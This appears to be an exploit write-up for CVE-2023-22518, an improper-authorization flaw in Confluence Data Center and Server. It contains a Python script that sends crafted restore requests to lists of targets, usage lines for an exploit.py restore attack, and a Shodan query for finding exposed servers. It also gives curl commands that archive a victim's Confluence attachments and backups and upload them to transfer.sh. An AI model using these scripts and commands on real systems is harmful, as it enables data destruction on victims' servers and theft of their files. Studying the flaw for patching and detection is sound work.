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Improper Authorization Vulnerability in Confluence Data Center and Server.
Atlassian has warned administrators about a critical vulnerability in Confluence. Exploitation of this vulnerability could lead to data loss, therefore the developer recommends you install the patch immediately.
It is noted that the vulnerability cannot be used to leak data and does not affect Atlassian Cloud sites accessed via atlassian.net domain.
| Product | Affected Versions | Patched Versions |
|---|
| Confluence Data Center | All versions are affected | 7.19.16 and later |
| Confluence Server | 8.3.4 and later | |
| 8.4.4 and later | ||
| 8.5.3 and later | ||
| 8.6.1 and later |
Type: Improper Authorization
CWE: CWE-285 / CWE-266
ATT&CK: T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action Forum
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
pip install pycryptodome
python3 exploit.py
Enter URL: http://domain/json/setup-restore.action?synchronous=true
Enter path to .zip file: /path/xmlexport-20231109-060519-1.zip
Shodan search:
http.favicon.hash:-305179312
When restoring Confluence using this vulnerability, the %CONFLUENCE_HOME%/attachments directory remains filled with files, possibly up to thousands. Extracting them is quite simple, and their extension can be determined using the Linux file command. For example:
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
Or
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
Example of how to easily archive a directory and extract the archive:
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
or
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip